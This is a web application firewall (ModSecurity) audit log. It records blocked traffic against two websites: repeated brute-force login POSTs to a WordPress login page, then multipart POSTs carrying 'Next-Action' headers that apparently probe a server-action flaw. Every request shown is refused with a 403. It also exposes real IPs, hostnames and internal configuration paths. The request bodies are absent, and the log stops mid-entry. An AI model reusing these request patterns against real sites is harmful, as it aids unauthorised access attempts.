--e682a61e-A--
[13/Sep/2026:18:40:20.353603 +0300] aqbD5Put1GUrjaX0wO453gAAAMw 134.185.87.66 33924 127.0.0.1 7081
--e682a61e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--e682a61e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e682a61e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314020351807 1886 (- - -)
Stopwatch2: 1789314020351807 1886; combined=619, p1=257, p2=73, p3=0, p4=0, p5=288, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e682a61e-Z--
--02b5b96f-A--
[13/Sep/2026:18:40:20.770280 +0300] aqbD5Put1GUrjaX0wO453wAAAM4 134.185.87.66 33942 127.0.0.1 7081
--02b5b96f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--02b5b96f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--02b5b96f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314020768803 1530 (- - -)
Stopwatch2: 1789314020768803 1530; combined=478, p1=220, p2=58, p3=0, p4=0, p5=200, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--02b5b96f-Z--
--0d3c8b4d-A--
[13/Sep/2026:18:40:21.185989 +0300] aqbD5UhjHs68UzErry1K@gAAAIg 134.185.87.66 33964 127.0.0.1 7081
--0d3c8b4d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--0d3c8b4d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0d3c8b4d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314021184060 1985 (- - -)
Stopwatch2: 1789314021184060 1985; combined=680, p1=282, p2=86, p3=0, p4=0, p5=311, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0d3c8b4d-Z--
--62a48f25-A--
[13/Sep/2026:18:40:21.603078 +0300] aqbD5UhjHs68UzErry1K-AAAAI8 134.185.87.66 33978 127.0.0.1 7081
--62a48f25-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--62a48f25-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--62a48f25-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314021601165 1969 (- - -)
Stopwatch2: 1789314021601165 1969; combined=659, p1=315, p2=111, p3=0, p4=0, p5=233, sr=140, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--62a48f25-Z--
--609a2f5d-A--
[13/Sep/2026:18:40:22.014262 +0300] aqbD5khjHs68UzErry1K-gAAAIw 134.185.87.66 33990 127.0.0.1 7081
--609a2f5d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--609a2f5d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--609a2f5d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314022012654 1675 (- - -)
Stopwatch2: 1789314022012654 1675; combined=530, p1=225, p2=66, p3=0, p4=0, p5=239, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--609a2f5d-Z--
--f6071d09-A--
[13/Sep/2026:18:40:22.416465 +0300] aqbD5vut1GUrjaX0wO454QAAAMs 134.185.87.66 34004 127.0.0.1 7081
--f6071d09-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f6071d09-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f6071d09-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314022414663 1863 (- - -)
Stopwatch2: 1789314022414663 1863; combined=622, p1=256, p2=73, p3=0, p4=0, p5=293, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f6071d09-Z--
--b6dc560d-A--
[13/Sep/2026:18:40:22.806256 +0300] aqbD5vut1GUrjaX0wO454wAAAMI 134.185.87.66 34020 127.0.0.1 7081
--b6dc560d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--b6dc560d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b6dc560d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314022804651 1660 (- - -)
Stopwatch2: 1789314022804651 1660; combined=538, p1=249, p2=63, p3=0, p4=0, p5=226, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b6dc560d-Z--
--4ba13d5d-A--
[13/Sep/2026:18:43:50.320998 +0300] aqbEtkhjHs68UzErry1LEAAAAIo 138.197.17.142 34518 127.0.0.1 7081
--4ba13d5d-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14444
sec-ch-ua: "Google Chrome";v="144", "Chromium";v="144", "Not(A:Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: f2492b7757f605b156db6c95ae4fa7fc5a87a0c3
content-type: multipart/form-data; boundary=geckopart6c1c8ee2d6445af66f730297110e0140
--4ba13d5d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4ba13d5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314230225129 95945 (- - -)
Stopwatch2: 1789314230225129 95945; combined=5605, p1=366, p2=4981, p3=0, p4=0, p5=258, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4ba13d5d-Z--
--c3c35808-A--
[13/Sep/2026:18:43:50.535224 +0300] aqbEtkhjHs68UzErry1LEQAAAIQ 138.197.17.142 34528 127.0.0.1 7081
--c3c35808-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 7350
sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: 4e77f1a9d6c12c5d9c762b13972b9f5d83a25a1a
content-type: multipart/form-data; boundary=geckopartbe71bc2f94980302e84010ec84dd43ed
content-encoding: gzip
--c3c35808-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c3c35808-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314230457235 78068 (- - -)
Stopwatch2: 1789314230457235 78068; combined=7855, p1=440, p2=7151, p3=0, p4=0, p5=264, sr=132, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c3c35808-Z--
--ff644a47-A--
[13/Sep/2026:18:43:50.765720 +0300] aqbEtkhjHs68UzErry1LEgAAAIE 138.197.17.142 34542 127.0.0.1 7081
--ff644a47-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14503
sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: df646d2a80c275ef0e938fce0a6e002b74169c0b
content-type: multipart/form-data; boundary=boundary5fd9dc849f8ff197292ecdeff7d56302
--ff644a47-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ff644a47-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314230700107 65707 (- - -)
Stopwatch2: 1789314230700107 65707; combined=5384, p1=515, p2=4580, p3=0, p4=0, p5=289, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ff644a47-Z--
--62c67d46-A--
[13/Sep/2026:18:43:51.403228 +0300] aqbEt-ut1GUrjaX0wO46PgAAAMQ 138.197.17.142 34558 127.0.0.1 7081
--62c67d46-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 30484
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: 9fcac9816a7a4e5b9db03e36116d60ca3dab2e6b
content-type: multipart/form-data; boundary=WebKitFormBoundaryd33ec5e38a8f11afa5ef4e77111a4bfa
--62c67d46-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--62c67d46-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314231322249 81056 (- - -)
Stopwatch2: 1789314231322249 81056; combined=5465, p1=279, p2=4919, p3=0, p4=0, p5=267, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--62c67d46-Z--
--ad82c047-A--
[13/Sep/2026:18:43:51.869345 +0300] aqbEt0hjHs68UzErry1LEwAAAIg 138.197.17.142 34560 127.0.0.1 7081
--ad82c047-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 47347
sec-ch-ua: "Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: b3ca4f2ae79adc9aa23ef11b409dd588e3a936cb
content-type: multipart/form-data; boundary=WebKitFormBoundarye171ff778f46d1c6d94011bcff5b7b13
--ad82c047-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ad82c047-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314231778282 91149 (- - -)
Stopwatch2: 1789314231778282 91149; combined=6621, p1=384, p2=5989, p3=0, p4=0, p5=248, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ad82c047-Z--
--95c9837f-A--
[13/Sep/2026:18:43:52.207986 +0300] aqbEuPut1GUrjaX0wO46PwAAAMM 138.197.17.142 34572 127.0.0.1 7081
--95c9837f-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 80362
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: 2e968719ee40017ee71566253902e9c3f3966aa8
content-type: multipart/form-data; boundary=geckopartbc6ace558635f850ae0993b215f32391
--95c9837f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--95c9837f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314232138483 69579 (- - -)
Stopwatch2: 1789314232138483 69579; combined=8321, p1=455, p2=7607, p3=0, p4=0, p5=259, sr=175, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--95c9837f-Z--
--aa59c96a-A--
[13/Sep/2026:18:43:52.527579 +0300] aqbEuPut1GUrjaX0wO46QAAAANc 138.197.17.142 34582 127.0.0.1 7081
--aa59c96a-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 31164
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: fcdc1a72ebc35a0a37742aed471540db39693d81
content-type: multipart/form-data; boundary=WebKitFormBoundary3b6b79aed4f9803439069a8a30f1ae94
--aa59c96a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--aa59c96a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314232462130 65598 (- - -)
Stopwatch2: 1789314232462130 65598; combined=5448, p1=324, p2=4852, p3=0, p4=0, p5=271, sr=141, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa59c96a-Z--
--362e0b78-A--
[13/Sep/2026:18:43:53.172543 +0300] aqbEufut1GUrjaX0wO46QQAAANU 138.197.17.142 34598 127.0.0.1 7081
--362e0b78-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14432
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/x-component
Accept-Encoding: identity
Next-Action: eb70f9e043dd2177db9ed5eaf42041ce28ada1a1
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com/
Content-Type: multipart/form-data; boundary=boundary60a3ce363da146c6f3dc07c59307563f, text/plain
--362e0b78-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--362e0b78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314233106046 66560 (- - -)
Stopwatch2: 1789314233106046 66560; combined=4537, p1=247, p2=3931, p3=0, p4=0, p5=358, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--362e0b78-Z--
--a8ea6c22-A--
[13/Sep/2026:18:43:53.788270 +0300] aqbEufut1GUrjaX0wO46QgAAAM4 138.197.17.142 34602 127.0.0.1 7081
--a8ea6c22-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14261
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
